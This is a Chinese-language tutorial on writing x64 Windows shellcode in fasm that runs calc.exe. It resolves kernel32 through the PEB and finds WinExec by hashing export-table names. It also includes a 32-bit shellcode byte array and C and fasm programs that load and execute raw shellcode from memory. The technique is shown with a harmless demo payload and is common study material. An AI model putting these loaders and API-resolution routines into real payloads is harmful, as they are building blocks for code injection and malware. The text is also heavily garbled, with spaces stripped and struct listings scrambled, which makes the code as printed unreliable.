1关于WinExec-run-calcX641
关于X64的可编译完整工程,我用谷歌没有找到。
我在这里放一个fasm的完整可编译工程,把xfish的那份32位的WinExecruncmd改成了64位的WinExecruncalc代码写的有点罗嗦,加入nop,然后用IDA或者其他工具提取机器码的那个纯体力活我就不做了,只放工程和讲解,这份东西花了我大概四天的时间。
一天半学习fasm,剩下几天复习PE结构和做其他的。好了,我们开始。2fasm的一些基础知识网上有一份1.67的fasm中文手册,可以供你参考。下面是一个fasmhelloworld的例子你可以从中感受下fasm的语法和关键字,以及64位ASM编程。
////////////////////////////////////////// formatPE64GUI includewin64a.inc entrystart section.textcodereadableexecutable start: subrsp,8*5;reservestackforAPIuseandmakestackdqwordaligned movr9d,0 lear8,[_caption] leardx,[_message] movrcx,0 call[MessageBoxA] movecx,eax call[ExitProcess] section.datadatareadablewriteable _captiondbWin64assemblyprogram,0 _messagedbHelloWorld!,0 section.importimportdatareadablewriteable librarykernel32,kernel32.dll,\ user32,user32.dll includeapi\kernel32.inc includeapi\user32.inc //////////////////////////////////////////////
直接复制粘贴到fasm里面就可以编译通过生成一个helloworld,通过这个
例子你可以亲身感受下fasm,利于我们接下来的学习。
3shellcode工程注解
xfish的那份代码,基本没怎么讲解,也没怎么注释,看起来的确有点难度,下面的代码,注释比较详细。代码既不精简,也不苗条,仅作为测试Demo进行讲解完整的工程代码如下,直接可以复制粘贴,编译运行。
/////////////////////////////////////////////////// formatPE64CONSOLE macro.text{section.textcodereadableexecutablewriteable} macro.code{section.codecodereadableexecutable} macro.data{section.datadatareadablewriteable} entry__Entry includewin64axp.inc .text __Entry: nop nop nop nop call GetKrnlBase3 push016EF74Bh;HashWinExec 32 pushrsi call ;kernel32module64 GetApi movrdx,5 learcx,[calc] callrax ;ret ;由于GetApi是我们自己实现的函数 ;我们不一定非得r9r8rdxrcx ;对齐是10h+8 堆栈对齐 ; xorr9,r9 ; cinvokegetch invokeExitProcess,0 ;moveax,[fs:30h] ;moveax,[eax+0ch];Get_PEB_LDR_DATA ;moveax,[eax+1ch];GetInInitializationOrderModuleList.Flink, ;此时eax指向的是ntdll模块的InInitializationOrderModuleList线性地址。所以 我们获得它的下一个则是 kernel32.dll ;moveax,[eax] ;moveax,[eax+8h] ;ret ;add3 structIMAGE_EXPORT_DIRECTORY Characteristics TimeDateStamp MajorVersion MinorVersion dd ?;未使用 dd dw dw ?;文件生成时间 ?;主版本号,一般为0 ?;次版本号,一般为0 nName nBase dd ?;模块的真实名称 dd ?;基数,加上序数就是函数地址数组的索引值 NumberOfFunctions NumberOfNames dd ?;AddressOfFunctions阵列的元素个数 ?;AddressOfNames阵列的元素个数 dd?;指向函数地址数组 dd AddressOfFunctions AddressOfNames dd ?;函数名字的指针地址 AddressOfNameOrdinals dd ?;指向输出序列号数组 ends ;++ ; ;int ;GetApi( ;INHINSTANCEhModule, ;INint iHashApi, ;) ; ;RoutineDescription: ; ; ; 获取指定函数的内存地址 ;Arguments: ; ; ; ; ; (esp) -returnaddress Data(esp+4)-hDllHandle (esp+8)-nReason ;ReturnValue: ; ; eax-FunctionMemAddress。 ; ;-- GetApi: poprdx;savereturnaddr poprax;hModulekernel32.dll基地址 poprcx;lpApiString在这里是Hash32位的 pushrdx;returnaddr再次入栈保存返回地址栈中只有rdx;各类寄存器依次入站pushad pushrax pushrcx pushrdx pushrbx pushrsp pushrbp pushrsi pushrdi movebx,eax;hModulerbx movedi,ecx;hashapirdi moveax,[ebx+3ch];此时rax为e_lfanew的值保存了PE头文件;的偏移位置 movesi,[ebx+eax+88h];数据目录表的第一个成员保存了_IMAGE_EXPORT_D的RVA32位下是78h leaesi,[esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames];esi==numberofnames的内存地址 cld lodsd;moveax,[esi]esi=esi+4 xchgeax,edx;edx=NumberOfNames==有名字的函数的数量 lodsd;moveax,[esi]esi=esi+4eax此时是eat的rva增加之后的[esi]对应 AddressOfNames pushrax;[esp]=AddressOfFunctionsEAT的RVA此时栈中有返回地址pushadEAT 的RVA lodsd;moveax,[esi]esi=esi+4增加之后的[esi]对应AddressOfNameOrdinals xchgeax,ebp;此时ebp是ENT的rva lodsd ;moveax,[esi]esi=esi+4 没有增加之前的[esi]对应 AddressOfNameOrdinals xchgeax,ebp; ;ebp=eot的rva,eax=ent的rva ;ebx 此时是hModule addeax,ebx;此时eax是ENT的内存地址 此时是hModule ;ebx xchgeax,esi;此时rsi是指向ent的内存地址VA=IB+RVA;其中大家最为关注的输入表、导出表、;重定位表、资源的结构体跟PE32一样,没有发生任何变化。 .LoopScas: decedx;edx=有名字的函数的数量 jz.Ret;.Ret先没写 lodsd;moveax,[esi]esi=esi+4此时eax是ent的内容 ;内容也就是各个ASCII字符串的RVA addeax,ebx;IB+字符串的rva得到ASCII字符串的内存地址 ;rbx此时是hModule pushrdx;rdx=NumberOfNames-1做递减器保存好以免寄存器改变;殃及递减器 ;此时栈中有返回地址EAT的RVA有名字的函数数量 ;;全是64位的寄存器 pushrax;rax==函数名字的内存地址也就是ASCII字符串的内存地址 ;此时栈中有返回地址EAT的RVA有名字的函数数量 ;全是64位的寄存器 函数名字的内存地址 callGetRolHash ;此时edi是hash ;eax存贮了计算之后所得到的hash ;此时栈中有getapi的返回地址EAT的RVA有名字的函数数量 poprdx;rdx=NumberOfNames-1做递减器保存好以免寄存器改变 ;;此时栈中有getapi的返回地址EAT的RVA ;rsi下个函数名字的rva cmpeax,edi jz.GetAddr ;ebp=AddressOfNameOrdinals, addebp,2 ;ebp=eot的rva ;ebp=AddressOfNameOrdinals的rva jmp.LoopScas
;从AddressOfNames字段指向得到的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名相比较,如果没有任何一个函数名是符合的,表示文件中没有指定名称的函数,如果某一项定义的函数名与要查找的函数名符合,
;那么记下这个函数名在字符串地址表中的索引,值,然后在AddressOfNamesOrdinals指向的数组中以同样的索引值取出数组项的值,我们这里假设这个值是x,最后,以x值作为索引值,在AddressOfFunctions字段指向的函数入口地址表中获取的RVA就是函数的入口地址。
简单说是:查找AddressOfNames,对应到a项,取AddressOfNamesOrdinals的第a项的值得到b,取AddressOfFunctions的第b项rbx此时是hModuleebp=AddressOfNameOrdinals的rva指向另一个word类型的数组(注意不是双字数组)[rsp]==[esp]=AddressOfFunctions也就是EAT的rva此时栈中有getapi的返回地址EAT的RVA.GetAddr:xorrax,raxmovzxeax,word[ebp+ebx];00004000hshleax,2addeax,[rsp]moveax,[ebx+eax];得到了函数的RVA地址addeax,ebx.
此时栈中有getapi的返回地址pushadEAT的RVARet:
poprcx; mov[rsp+8*7],rax popad ; poprdi poprsi poprbp poprsp poprbx poprdx poprcx poprax ret ;EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX 按照这些指令出栈可能会覆盖寄存器的值,必须mov[esp+4*7],eax GetKrnlBase3: movrsi,[gs:60h];pebfromteb movrsi,[rsi+18h];_peb_ldr_datafrompeb movrsi,[rsi+30h];InInitializationOrderModuleList.Flink, ;rsi==00232c9000000000 movrsi,[rsi];kernelbase.dll ;rsi=00232b2000000000 movrsi,[esi] ;kernel32.dll movrsi,[rsi+10h];payattentiontodanwei ret GetRolHash: poprcx;返回地址 poprax;函数名字内存地址 pushrcx;压入返回地址 pushrsi;下个函数名字的rva下个ent的内容也就是下个函数名字的rva ;此时栈中有getapi的返回地址EAT的RVA有名字的函数数量 ;GetRolHash返回地址下个函数名字的rva xorrdx,rdx xchgeax,esi;rsi=第一个函数的名字的内存地址 ;eax==下个函数名的RVA cld .Next: lodsb;moval,[si]si=si+1 testal,al;按位与测试直到函数最后一个0字符 jz.Ret roledx,3 xordl,al; jmp.Next .Ret: xchgeax,edx;此时eax存储了hash poprsi;下个函数名字的rva ret;poprcx返回地址正好堆栈平衡 .data ;type db%I64x,0 db0Dh,0Ah ;hello_msg calcdbcalc.exe,0 showdbSW_SHOW section.idataimportdatareadablewritable librarykernel,KERNEL32.DLL importkernel,\ ExitProcess,ExitProcess ;szCaptiondbtest,0 ; ; ; ; ; section.importimportdatareadablewriteable librarykernel32,kernel32.dll,user32,user32.dll includeapi\kernel32.inc includeapi\user32.inc ///////////////////////////////////////////////
注释的很详细了需要说明的有这么几点
1堆栈平衡是重重之重,如果你记不住,就在每一行代码后面加好注释搞清楚这个时候堆栈里面都还有些什么
2PE32+改变比较大的也就是NT头变成了IMAGE_NT_HEADERS64,使一些偏移发生了变化,可以自行dt查看
3导出表没有发生变化
4导出表的后三个成员一定要好好看看,这是看懂代码的关键所在。
对callWinExec的说明最后的代码我是这样写的
movrdx,5
learcx,[calc]
callrax
实际上googlecode上面的那个作者也是用的rdxrcx传递的参数的,他的代码是这样的:
PUSH PUSH POP B2DW(c,a,l,c) ;Stack=calc,0 RSP RCX RCX ;RCX=(calc) PUSH ;WinExecmesseswithstack- CDQ ;RDX=0 CALL RDI ;WinExec((calc),0);
你可能问,用r9\r8传递参数不可以吗,我用r9r8传递参数结果程序crash。我们写个简单的小程序,使用
WinExec调用calc,IDA中显示这样的结果
;int__cdeclmain(intargc,constchar**argv,constchar**envp) mainprocnear sub lea mov call xor add retn rsp,28h rcx,CmdLine edx,5 ;calc.exe ;uCmdShow cs:__imp_WinExec eax,eax rsp,28h
调用WinExec的时候windows本身就用的是rcx\rdx传递的参数,我们也还是老老实实的用rdx\rcx传递参数吧
Fasm完整可编译工程见附件ShellcodeInX64-3TestYourShellcode
在32位下测试shellcode大体的,在32位下我们测试shellcode的程序可以是这样。
//shellcodetest.cpp:Definestheentrypointfortheconsoleapplication. // #includestdafx.h #includewindows.h typedefvoid(WINAPI*FUN)(void); char shellcode[]=\x90\x90\x90\x90\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x 74\x91\x0C\x8B\xF4 \x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x 54\x33 \xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x 0A\x38 \x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x 59\x20 \x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\x CA\x07 \x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x 7B\x8B \x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x 33\xDB \x53\x68\x65\x61\x73\x74\x68\x73\x68\x69\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\x FC\x53 \xFF\x57\xF8; intmain(intargc,char*argv[]) { FUNmyfun=NULL; myfun=(FUN)shellcode; myfun(); return0; }
用VC6编译之后,就会生成一个可以运行于32位xp下的shellcode。测试工程在shellcodetestShinest.7z中。我们看一下在X64下面怎样来测试我们的shellcode。
2testshellcodeinfasm formatPE64GUI includewin64a.inc entrystart section.textcodereadableexecutable start: callshellcode shellcode:file3.bin section.importimportdatareadablewriteable librarykernel32,kernel32.dll,\ user32,user32.dll includeapi\kernel32.inc includeapi\user32.inc
这是一个在fasm中测试shellcode的程序,你可以看到,只用到很短的几句话就可以测试我们的shellcode,关键在于一个file伪指令的应用,相信你学了第二节的fasm的一些基础知识之后,这个代码不难读懂。代码打包在testinfasm中。
3testyourshellcodeusingvc
下面的这段代码,是我在看国外的一些x64shellcode的时候见过的,相信很多人还是希望能够在VS当中测试我们的shellcode,我们可以看下下面这些代码。
//Runbin.cpp:定义控制台应用程序的入口点。 // #includestdafx.h #includewindows.h #includestdio.h #includeio.h #includestdlib.h #includemalloc.h #includefcntl.h #includeintrin.h typedefvoid(*FUNCPTR)(); intmain(intargc,char**argv) { //hello.exeShiqiYuargc参数数量在这是3argv[0]是hello.exe,argv[1]是Shiqi,argv[2]是Yu。 FUNCPTRfunc; void*buf; intfd,len; intdebug; char*filename; DWORDoldProtect; if(argc==3strlen(argv[1])==2strncmp(argv[1],-d,2)==0){ debug=1; filename=argv[2]; }elseif(argc==2){ debug=0; filename=argv[1]; }else{ fprintf(stderr,usage:runbin[-d]filename\n); fprintf(stderr,-d return1; insertdebuggerbreakpoint\n); } fd=_open(filename,_O_RDONLY|_O_BINARY); if(-1==fd){ perror(Erroropeningfile); return1; } len=_filelength(fd); if(-1==len){ perror(Errorgettingfilesize); return1; } buf=malloc(len); if(NULL==buf){ perror(Errorallocatingmemory); return1; } if(0==VirtualProtect(buf,len,PAGE_EXECUTE_READWRITE,oldProtect)){ fprintf(stderr,Errorsettingmemoryexecutable:errorcode%d\n, GetLastError()); return1; } if(len!=_read(fd,buf,len)){ perror(errorreadingfromfile); return1; } func=(FUNCPTR)buf; if(debug){ __debugbreak(); } func(); return0; }
其中与xp下不同的就这一句
VirtualProtect(buf,len,PAGE_EXECUTE_READWRITE,oldProtect)
你可能会奇怪我们的fasm为什么没有用到这个函数来修改页面的属性,看看我们定义好的section属性section.textcodereadableexecutable
我们编译出来runbin之后,直接可以在命令行runbinxxx.bin就可以了。
工程我打包在testinvs2008.7z中。